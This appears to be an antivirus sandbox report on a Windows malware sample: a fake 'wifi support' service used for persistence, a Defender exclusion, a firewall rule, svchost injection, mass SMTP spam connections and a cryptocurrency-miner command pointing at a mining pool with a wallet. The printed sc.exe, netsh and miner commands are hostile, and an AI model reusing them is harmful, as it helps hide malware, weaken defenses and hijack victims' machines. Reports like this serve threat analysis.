Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\jtlyuusb] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\jtlyuusb] 'ImagePath' = '%WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\jtlyuusb] 'ImagePath' = '%WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe'
Creates the following services
- 'jtlyuusb' %WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe /d"<Full path to file>"
- 'jtlyuusb' %WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\jtlyuusb' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\ubsjkncr.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\ubsjkncr.exe to %WINDIR%\syswow64\jtlyuusb\ubsjkncr.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'mx#######301.gslb.pphosted.com':25
- 'fl####asinkhole.com':25
- 'bk#######.#ail.protection.outlook.com':25
- 'mx#######003.gslb.pphosted.com':25
- 'sm##.###hange.iinet.net.au':25
- 'mx#######901.gslb.pphosted.com':25
- 'mx.##.#tinternet.com':25
- 'sm###gw.qti.com':25
- 'mx##.###us-vadesecure.net':25
- 'co##########iceaward.com.1.0001.arsmtp.com':25
- 'al######x-vip1.prodigy.net':25
- 'mx##.##il.icloud.com':25
- 'mx#.###ytechnique.org':25
- 'mx.##xmail.com':25
- 'mx#######f01.gslb.pphosted.com':25
- 'mx.####o.locaweb.com.br':25
- 'pr#############thcenter-org.mail.protection.outlook.com':25
- 'la#########ras-com.mail.eo.outlook.com':25
- 'fa###ool.xyz':10060
- 'mx###.comcast.net':25
- 'ff######x-vip2.prodigy.net':25
- 'ba###########-net.mail.protection.outlook.com':25
- 'mx#######f03.gslb.pphosted.com':25
- 'mx#.##aroutes.com':25
- 'mx####.carrierzone.com':25
- 'mx######1cb01.pphosted.com':25
- 'mx#.#ate.com':25
- 'ma##.##st-my-mail.com':25
- 'mx#######c03.gslb.pphosted.com':25
- 'mx#######a02.gslb.pphosted.com':25
- 'mx###.m2bp.com':25
- 'ma##.#ossbros.co.uk':25
- 'go###ll.id.au':25
- 'mx#######801.gslb.pphosted.com':25
- 'mx###.##stedmxserver.com':25
- 'ra##.##.tmes.trendmicro.eu':25
- 'fb#######.#ail.protection.outlook.com':25
- 'sm##.#opmail.com':25
- 'mx.###eric-isp.com':25
- 'mx.###card.email':25
- 'ma###.#ailinator.com':25
- 'mx.###davies.com':25
- 'mx#.#xstorm.com':25
- 'ma##.#etoxygen.ch':25
- 'mx###.mb1p.com':25
- 'mx#######d01.gslb.pphosted.com':25
- 'mx#######101.gslb.pphosted.com':25
- 'ma##.###safetytraining.com':25
- 'ma##.#ailcatch.com':25
- 'mx#.###wardemail.net':25
- 'mx######bde01.pphosted.com':25
- 'mx#.#anmail.net':25
- 'mx#.##l.iphmx.com':25
- 'ff######x-vip1.prodigy.net':25
- 'mx#######001.gslb.pphosted.com':25
- 'mx#######401.gslb.pphosted.com':25
- 'mx#.##ckeyecom.net':25
- '10#.#8.138.44':443
- 'mx#.##tsolmail.net':25
- 'google.com':80
- '17#.#13.115.157':421
- '17#.#13.115.156':421
- '80.#6.75.4':421
- '17#.#13.115.155':421
- '17#.#13.115.154':421
- '17#.#13.115.153':421
- 'ma##.#athywatt.com':25
- 'fi####.datayard.us':25
- 'wa###########om-com.mail.protection.outlook.com':25
- 'ma##.#ailerhost.net':25
- 'ma##.#-email.net':25
- 'mx##.1and1.com':25
- 'mx#######501.gslb.pphosted.com':25
- 'mx#######b01.gslb.pphosted.com':25
- 'po######ce.guardedhost.com':25
- 'ej######.relay1g.spamh.com':25
- 'so####1.sohu.com':25
- 'eu##g.net':25
- 'ASPMX.L.GOOGLE.COM':25
- 'jo#####bros-sign.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- '17#.#13.115.158':485
- 'sv####lfheim.top':443
- 'mx.##wered.name':25
- 'pa####x.above.com':25
- 'Ma#####.###l.protection.office365.us':25
- 'cl######.eu.messagelabs.com':25
- 'ac###########ty-org.mail.protection.outlook.com':25
- 'ei####.#x.a.cloudfilter.net':25
- 'mh########.mail.protection.outlook.com':25
- 'mx#.####liv.c3s2.iphmx.com':25
- 'li#######.members.linode.com':25
- '23####3f.21.ik2.com':25
- 'sm##.##ildrensplace.com':25
- 'no########tor.com.1.0001.arsmtp.com':25
- 'gq#.#witch.tv':443
- 'ALT2.ASPMX.L.GOOGLE.com':25
- 'ev############tific-com.mail.protection.outlook.com':25
- 'na#########.mail.protection.outlook.com':25
- 'mx#######c02.gslb.pphosted.com':25
- 'ma##.#axmail.net':25
- 'alt1.aspmx.l.google.com':25
- 'mx##.mb5p.com':25
- 'hz####.#xmail.netease.com':25
- 'sr#.##cusemail.net':25
- 'sc#####aext01.gene.com':25
- 'in#####.esatclear.ie':25
- 'mx#######602.gslb.pphosted.com':25
- 'mx#.##ailsrvr.com':25
- 'ma##.ekes.co.uk':25
- 'mx#######201.gslb.pphosted.com':25
- 'mx#.###isesystem.com':25
- 'an#####m2.ihs.com.tr':25
- '52.##3.241.7':443
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- 'mx#.##ckeyecom.net':25
- 'mx####.carrierzone.com':25
- 'gq#.#witch.tv':443
- 'mx#.##aroutes.com':25
- 'ba###########-net.mail.protection.outlook.com':25
- 'ff######x-vip2.prodigy.net':25
- 'fa###ool.xyz':10060
- 'la#########ras-com.mail.eo.outlook.com':25
- 'pr#############thcenter-org.mail.protection.outlook.com':25
- 'mx#.###ytechnique.org':25
- 'al######x-vip1.prodigy.net':25
- 'mx.##.#tinternet.com':25
- 'bk#######.#ail.protection.outlook.com':25
- 'Ma#####.###l.protection.office365.us':25
- 'an#####m2.ihs.com.tr':25
- 'fl####asinkhole.com':25
- 'ff######x-vip1.prodigy.net':25
- 'ma##.#ossbros.co.uk':25
- 'go###ll.id.au':25
- 'ra##.##.tmes.trendmicro.eu':25
- 'mx.###eric-isp.com':25
- 'fb#######.#ail.protection.outlook.com':25
- 'hz####.#xmail.netease.com':25
- 'ma##.#etoxygen.ch':25
- 'mx.###card.email':25
- 'ma###.#ailinator.com':25
- 'mx#.#xstorm.com':25
- 'ma##.###safetytraining.com':25
- 'ma##.#ailcatch.com':25
- 'mx######bde01.pphosted.com':25
- 'mx#.#anmail.net':25
- 'ac###########ty-org.mail.protection.outlook.com':25
- 'mh########.mail.protection.outlook.com':25
- 'li#######.members.linode.com':25
- 'ASPMX.L.GOOGLE.COM':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'ej######.relay1g.spamh.com':25
- 'ma##.#-email.net':25
- 'jo#####bros-sign.com':25
- 'po######ce.guardedhost.com':25
- 'wa###########om-com.mail.protection.outlook.com':25
- 'fi####.datayard.us':25
- '17#.#13.115.153':421
- 'ma##.#athywatt.com':25
- '17#.#13.115.155':421
- '17#.#13.115.154':421
- '17#.#13.115.157':421
- '17#.#13.115.156':421
- '17#.#13.115.158':485
- '80.#6.75.4':421
- 'sm##.##ildrensplace.com':25
- 'mx.##wered.name':25
- '10#.#8.138.44':443
- 'pa####x.above.com':25
- 'mx#.###isesystem.com':25
- 'ma##.ekes.co.uk':25
- 'in#####.esatclear.ie':25
- 'sm##.#opmail.com':25
- 'sr#.##cusemail.net':25
- '<DNS_SERVER>':53
- 'mx##.mb5p.com':25
- 'eu##g.net':25
- 'na#########.mail.protection.outlook.com':25
- 'ALT2.ASPMX.L.GOOGLE.com':25
- 'no########tor.com.1.0001.arsmtp.com':25
- 'alt1.aspmx.l.google.com':25
- 'ma##.##st-my-mail.com':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ea###link.net
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK so####nergy.co.nz
- DNS ASK co#.com
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK rd##ech.net
- DNS ASK su###ust.com
- DNS ASK sm##.###hange.iinet.net.au
- DNS ASK we###fargo.com
- DNS ASK mx#######003.gslb.pphosted.com
- DNS ASK mx#.#ate.com
- DNS ASK bk##e.com
- DNS ASK bc##a.com
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK fl####asinkhole.com
- DNS ASK em#.com
- DNS ASK te###scu.org
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK br###tpoint.com
- DNS ASK mx######1cb01.pphosted.com
- DNS ASK fo###mail.com
- DNS ASK er####enland.com
- DNS ASK mx#######c03.gslb.pphosted.com
- DNS ASK pr######nalintentions.com
- DNS ASK sm###gw.qti.com
- DNS ASK bk#######.#ail.protection.outlook.com
- DNS ASK na##.com
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK co##ast.net
- DNS ASK mx###.comcast.net
- DNS ASK fa###ool.xyz
- DNS ASK ho##ial.com
- DNS ASK la####tcharras.com
- DNS ASK la#########ras-com.mail.eo.outlook.com
- DNS ASK pr######ivehealthcenter.org
- DNS ASK pr#############thcenter-org.mail.protection.outlook.com
- DNS ASK gl##o.com
- DNS ASK mx.####o.locaweb.com.br
- DNS ASK ks##ble.com
- DNS ASK mx.##xmail.com
- DNS ASK ma####source.com
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK me##x.org
- DNS ASK mx#.###ytechnique.org
- DNS ASK me.com
- DNS ASK mx##.##il.icloud.com
- DNS ASK sb###obal.net
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK co######schoiceaward.com
- DNS ASK co##########iceaward.com.1.0001.arsmtp.com
- DNS ASK jp#.net
- DNS ASK wh###-mail.com
- DNS ASK pa##ell.net
- DNS ASK wm###nect.com
- DNS ASK mx#######c02.gslb.pphosted.com
- DNS ASK at#.net
- DNS ASK sp##bog.com
- DNS ASK di###rd.email
- DNS ASK th####ryscope.com
- DNS ASK mx.###eric-isp.com
- DNS ASK yo##ail.com
- DNS ASK sm##.#opmail.com
- DNS ASK fb##x.org
- DNS ASK fb#######.#ail.protection.outlook.com
- DNS ASK ge###nmails.biz
- DNS ASK ra####teractive.com
- DNS ASK ra##.##.tmes.trendmicro.eu
- DNS ASK le##.#rometheusx.pl
- DNS ASK ff######x-vip1.prodigy.net
- DNS ASK mx###.##stedmxserver.com
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK ci##.#rometheusx.pl
- DNS ASK go###ll.id.au
- DNS ASK go###ros.co.uk
- DNS ASK ma##.#ossbros.co.uk
- DNS ASK go###ays.com
- DNS ASK mx###.m2bp.com
- DNS ASK ht##il.com
- DNS ASK ge.com
- DNS ASK mx#######a02.gslb.pphosted.com
- DNS ASK ma###.#ailinator.com
- DNS ASK ma###nator.com
- DNS ASK mx.###card.email
- DNS ASK mi##.wheets.com
- DNS ASK mx.###davies.com
- DNS ASK dh#.com
- DNS ASK ha##ail.net
- DNS ASK mx#.#anmail.net
- DNS ASK th###rtford.com
- DNS ASK mx######bde01.pphosted.com
- DNS ASK bl###stone.com
- DNS ASK fm###avel.co.uk
- DNS ASK mx#.###wardemail.net
- DNS ASK cp#####tytraining.com
- DNS ASK ma##.###safetytraining.com
- DNS ASK ma###atch.com
- DNS ASK ba###########-net.mail.protection.outlook.com
- DNS ASK ma##.#ailcatch.com
- DNS ASK ff######x-vip2.prodigy.net
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK uk.##sco.com
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK ot###l.co.uk
- DNS ASK mx###.mb1p.com
- DNS ASK ki####lkacademy.org
- DNS ASK ro###die.com
- DNS ASK ma##.#etoxygen.ch
- DNS ASK mo####.marvsz.com
- DNS ASK mx#.#xstorm.com
- DNS ASK fr###vies.com
- DNS ASK ml#.com
- DNS ASK mx#.##l.iphmx.com
- DNS ASK ge###quad.com
- DNS ASK ba####thealth.net
- DNS ASK mx#######f03.gslb.pphosted.com
- DNS ASK ad#.org
- DNS ASK fi####.datayard.us
- DNS ASK ka###watt.com
- DNS ASK ma##.#athywatt.com
- DNS ASK google.com
- DNS ASK ly###-inc.com
- DNS ASK me#####industries.com
- DNS ASK mx#.##tsolmail.net
- DNS ASK cd##d.co.uk
- DNS ASK ma####dandan.com
- DNS ASK mx.##wered.name
- DNS ASK rc###mail.com
- DNS ASK pa####x.above.com
- DNS ASK si##.com
- DNS ASK cl######.eu.messagelabs.com
- DNS ASK ro####gplusinc.com
- DNS ASK un#####scapestravel.com
- DNS ASK mx#.###isesystem.com
- DNS ASK hs#.edu
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK ek##.co.uk
- DNS ASK ma##.ekes.co.uk
- DNS ASK ma###ting.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK wa####eredstrom.com
- DNS ASK ar##t.com
- DNS ASK do##t.com
- DNS ASK ma##.#ailerhost.net
- DNS ASK ma##.#-email.net
- DNS ASK ASPMX.L.GOOGLE.COM
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK jo#####bros-sign.com
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK so##.com
- DNS ASK so####1.sohu.com
- DNS ASK ve##zon.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK eu##g.net
- DNS ASK ci####chicago.org
- DNS ASK gt###hgo.com
- DNS ASK ho####student.org
- DNS ASK ej######.relay1g.spamh.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK it####sdubai.com
- DNS ASK po######ce.guardedhost.com
- DNS ASK fu###eshop.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK am###trade.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK yv#####elinstudio.com
- DNS ASK mx##.1and1.com
- DNS ASK ti##jo.com
- DNS ASK sv####lfheim.top
- DNS ASK ej##.org
- DNS ASK he##.com
- DNS ASK mx#######602.gslb.pphosted.com
- DNS ASK sc#####aext01.gene.com
- DNS ASK mx#.####liv.c3s2.iphmx.com
- DNS ASK mh##tc.org
- DNS ASK mh########.mail.protection.outlook.com
- DNS ASK ei##om.net
- DNS ASK ei####.#x.a.cloudfilter.net
- DNS ASK bl##epr.com
- DNS ASK ma##ech.com
- DNS ASK Ma#####.###l.protection.office365.us
- DNS ASK ac####community.org
- DNS ASK ac###########ty-org.mail.protection.outlook.com
- DNS ASK wa###########om-com.mail.protection.outlook.com
- DNS ASK yh##.co.uk
- DNS ASK an#####m2.ihs.com.tr
- DNS ASK bu####e-express.com
- DNS ASK mx#.##ckeyecom.net
- DNS ASK nc##rts.com
- DNS ASK mx#######001.gslb.pphosted.com
- DNS ASK nt##os.net
- DNS ASK mx####.carrierzone.com
- DNS ASK ab####tesuccess.win
- DNS ASK ka###ven.com
- DNS ASK en##ate.com
- DNS ASK mx#.##aroutes.com
- DNS ASK li#######.members.linode.com
- DNS ASK mu###hakan.com
- DNS ASK au##liv.com
- DNS ASK ro###tmail.com
- DNS ASK bl###quirrel.us
- DNS ASK 23####3f.21.ik2.com
- DNS ASK es###t.co.uk
- DNS ASK sr#.##cusemail.net
- DNS ASK wa###want.com
- DNS ASK hz####.#xmail.netease.com
- DNS ASK te##2re.com
- DNS ASK mx##.mb5p.com
- DNS ASK ag###ert.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK ho##il.com
- DNS ASK ma##.#axmail.net
- DNS ASK es###lear.ie
- DNS ASK er####tiftung.org
- DNS ASK in#####.esatclear.ie
- DNS ASK na##cpa.com
- DNS ASK ev#####onscientific.com
- DNS ASK ev############tific-com.mail.protection.outlook.com
- DNS ASK ba###-baron.com
- DNS ASK ALT2.ASPMX.L.GOOGLE.com
- DNS ASK te###orm.com
- DNS ASK gq#.#witch.tv
- DNS ASK no####realtor.com
- DNS ASK no########tor.com.1.0001.arsmtp.com
- DNS ASK gy###ree.com
- DNS ASK sm##.##ildrensplace.com
- DNS ASK ge##.com
- DNS ASK ev##att.com
- DNS ASK na#########.mail.protection.outlook.com
- DNS ASK ma##.##st-my-mail.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\jtlyuusb\ubsjkncr.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\jtlyuusb\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ubsjkncr.exe" %WINDIR%\SysWOW64\jtlyuusb\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create jtlyuusb binPath= "%WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description jtlyuusb "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start jtlyuusb' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\jtlyuusb\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ubsjkncr.exe" %WINDIR%\SysWOW64\jtlyuusb\
- '%WINDIR%\syswow64\sc.exe' create jtlyuusb binPath= "%WINDIR%\SysWOW64\jtlyuusb\ubsjkncr.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description jtlyuusb "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start jtlyuusb
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
